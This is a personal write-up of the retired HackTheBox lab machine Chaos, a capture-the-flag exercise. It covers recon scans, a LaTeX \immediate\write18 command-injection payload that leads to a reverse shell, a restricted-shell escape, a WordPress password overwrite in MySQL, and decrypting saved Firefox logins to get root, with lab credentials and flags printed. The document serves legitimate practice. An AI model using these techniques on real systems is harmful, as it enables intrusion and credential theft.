HackTheBox Chaos
Introduction
Around a month ago I started playing with HackTheBox which is a site very similar to Vulnhub. The main difference is that the 20 available machines do not have published solutions. This makes exploiting them more challenging, and it is also the reason why I am publishing right now the writeup of one of the 9 machines I managed to root during this time, as Chaos has been retired about a week ago.
Chaos
Chaos was overall a fun machine, and definitely taught me something about email protocols and a few other things.
As always, I started from classic nmap
recon.
Nmap
root@kali:~/chaos# nmap -A -sS -sV -p- 10.10.10.120
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-04 06:46 EDT
Nmap scan report for 10.10.10.120
Host is up (0.054s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
80/tcp open http?
110/tcp open pop3?
| fingerprint-strings:
| GenericLines, NULL:
|_ +OK Dovecot (Ubuntu) ready.
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open imaps?
995/tcp open pop3s?
10000/tcp open snet-sensor-mgmt?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.70%I=7%D=5/4%Time=5CCD6DB3%P=x86_64-pc-linux-gnu%r(NULL
SF:,1D,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n")%r(GenericLines,1D,"
SF:\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n");
Device type: firewall
Running (JUST GUESSING): Fortinet embedded (87%)
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 ... 30
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.20 seconds
Here we can see that there are a few open ports:
- 80 - HTTP
- 110/995 - pop3(s)
- 143/996 - imap(s)
- 10000 - webmin
As a first thing, I decided to go onto the port 80 and see what kind of web content was there. The site was pretty empty, so I decided to enumerate more.
Nikto
root@kali:~# nikto -h 10.10.10.120
- Nikto v2.1.6
------
- Target IP: 10.10.10.120
- Target Hostname: 10.10.10.120
- Target Port: 80
- Start Time: 2019-05-04 07:23:21 (GMT-4)
------
- Server: Apache/2.4.34 (Ubuntu)
- Server leaks inodes via ETags, header found with file /, fields: 0x49 0x57947aa3269e5
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use '-C all' to force check all possible dirs)
- Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
- OSVDB-3233: /icons/README: Apache default file found.
- 7499 requests: 0 error(s) and 6 item(s) reported on remote host
- End Time: 2019-05-04 07:29:11 (GMT-4) (350 seconds)
------
- 1 host(s) tested
Nikto didn’t report anything really useful, so I run dirb
against the target to see if there was some hidden directory.
Dirb
root@kali:~/chaos# dirb http://10.10.10.120/ /usr/share/dirb/wordlists/common.txt
------
DIRB v2.22
## By The Dark Raver
START_TIME: Sat May 4 07:23:03 2019
URL_BASE: http://10.10.10.120/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.120/ ----
- http://10.10.10.120/index.html (CODE:200|SIZE:73)
==> DIRECTORY: http://10.10.10.120/javascript/
- http://10.10.10.120/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://10.10.10.120/wp/
---- Entering directory: http://10.10.10.120/javascript/ ----
==> DIRECTORY: http://10.10.10.120/javascript/jquery/
---- Entering directory: http://10.10.10.120/wp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.120/javascript/jquery/ ----
- http://10.10.10.120/javascript/jquery/jquery (CODE:200|SIZE:268026)
------
END_TIME: Sat May 4 07:33:01 2019
DOWNLOADED: 13836 - FOUND: 3
The most interesting directory was clearly /wp
as at this location there was a Wordpress site, which looked pretty empty.
When a Wordpress site is there, WPscan is a perfect tool to use.
WPscan
wpscan
reproted several findings (possible vulnerable plugins etc.), but the most important was that a user wrote a comment somewhere on the site: user human
.
In addition, there was one page that was protected by password.
http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos
Here guesswork just paid off. The user is human
, so why not trying human
password? This, luckily, worked, and I got a page with the content:
Protected: chaos
creds for webmail
username - ayush
password - jiujitsu
Now, these credentials are clearly useful for something, but I was not sure what webmail
meant. I tried them against webmin
on port 10000 but they did not work.
There was not a Roundcube instance exposed or something similar, so I decided to try to investigate further pop3
and imap
ports.
POP and IMAP
First, I tried to investigate POP3s
root@kali:~# socat - OPENSSL:chaos:995,verify=0
+OK Dovecot (Ubuntu) ready.
USER ayush
+OK
PASS jiujitsu
+OK Logged in.
The credentials actually worked, but looking around I could not find anything useful.
So I decided to go back to my Kali gui, install Thunderbird and try configuring a new email which uses the target machine as the server and authenticates with the credentials found.
The login worked and once I was logged in, I looked around and found a draft message with some attachment that I downloaded.
root@kali:~/chaos# cat mail
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush
enim_msg.txt
0000000000000234®îªzŠØ³pK8…ZCƒÌõð¹‰^9ä¯kW‡À•Ô&wø9ܾ©‚ö½EÓä'q’[žèžû9îZ‹Þ3€«íæ.žC–¹ÚÁí¬Ë;¬Ø3Áø•¢¾ó6¼ŸR`n
The attachment enim_msg.txt was some encrypted string, and in addition there was also a Python script with what looked like the function used to encrypt the content.
root@kali:~/chaos# cat en.py
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
Looking around on the internet, I foudn that this is a snippet of code from a AES encryption/decryption tool, but instead I decided to just write the decryption function myself.
def decrypt(key):
chunksize = 64*1024
input_file = "enim_msg.txt"
filecontent = open(input_file, 'rb').read()
print('File content %s bytes' % len(filecontent))
filesize = filecontent[:16]
IV = filecontent[16:32]
ciphertext = filecontent[32:]
decryptor = AES.new(key, AES.MODE_CBC, IV)
print(decryptor.decrypt(ciphertext))
File content 272 bytes
b'SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK\n\n
At this point the message decrypted was clearly base64
encoded, so I decoded it.
root@kali:~/chaos# echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d
Hii Sahay
Please check our new service which create pdf
p.s - As you told me to encrypt important msg, i did :)
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Thanks,
Ayush
The link pointed to some PDF generation page. Here we could insert some code and choose a template, and some PDF would have been generated for us (or at least that’s what the page claimed).
Checking the actual response that the server was giving me, I could see that there was some LaTeX engine behind the page, as the response contained the execution log of the pdflatex
command.
From https://0day.work/hacking-with-latex/, surprisingly, I found that it was possible to inject commands by using
\immediate\write18{$CMD}
in the PDF generation box. The command would have been injected in the document and LaTeX would have executed it for us.
First I tried some commands to see what I could do, checking the output from the server response. After I could not find anything interesting I decided to just execute as CMD
a Python reverse shell, while listening with nc
from Kali. So I got a shell as www-data
.
Reverse Shell
Once I had my reverse shell, I knew that user had to be close. I started looking around and went into a couple of rabbit holes, such as:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'roundcube');
/** MySQL database password */
define('DB_PASSWORD', 'inner[OnCag8');
and even more
$ cat roundcube.conf
<VirtualHost *:80>
ServerName webmail.chaos.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/roundcube
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error_roundcube.log
CustomLog ${APACHE_LOG_DIR}/access_roundcube.log combined
<Directory /var/www/roundcube>
Options -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
I was really hoping that I could actually use Roundcube, as this was the webmail I was really expecting to be there at the beginning!
I also managed to login in wordpress as admin, hoping there could be some draft or any other information, by overriding the admin password.
mysql> UPDATE `wp_users` SET `user_pass` = MD5( 'soloiolaso' ) WHERE `wp_users`.`user_login` = "human";
Unfortunately, all of this was useless, as all it was needed was:
www-data@chaos:/etc/dovecot$ su ayush
su ayush
Password: jiujitsu
The shell we got is rbash
a restricted shell where almost no command was possible. First, I decided to use su
to print the flag.
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "cat /home/ayush/user.txt" ayush
<3r3/compile$ su -c "cat /home/ayush/user.txt" ayush
Password: jiujitsu
eef39126d9c3b4b8a30286970dc713e1
At this point I got user, but if I just tried to su
to ayush
I got a restricted shell, that I would have had to break out from.
Instead, I just spawned a new shell directly.
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "python -c 'import pty; pty.spawn(\"/bin/bash\")' " ayush
Password: jiujitsu
ayush@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls
ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found
The shell now was fully functional, and just by adding the usual folders to the $PATH
variable, I could execute all the commands available.
Privilege escalation
Privilege escalation was quite easy with this specific box. in the Home directory of the user there was a .mozilla
folder.
As this was a very peculiar thing to be present, given that mozilla
didn’t really have a reason to be there (the program was not even installed), I decided to check it out.
After some research, I understood that this folder was basically a backup of a profile, and therefore I aimed for the credentials saved; these are usually stored in logins.json
.
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
cat logins.json
{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$
The password was encrypted, so I could not access it, but I could see that the password was for https://chaos.htb:10000
, which is the webmin interface.
After some more research, I found a tool that can decrypt Mozilla profile passwords, provided the correct master key.
As for everything else on this machine, basically, I used the original jiujitsu
password and the decryption succeeded.
ayush@chaos:~/.mozilla$ python firefox_decrypt.py firefox
python firefox_decrypt.py firefox
Master Password for profile firefox/bzo7sjt1.default: jiujitsu
Website: https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
Root
With the webmin credentials I could login in the web interface, and here we had a root shell waiting for us, from where we could confortably cat
the root flag.
cat /root/root.txt
4eca7e09e3520e020884563cfbabbc70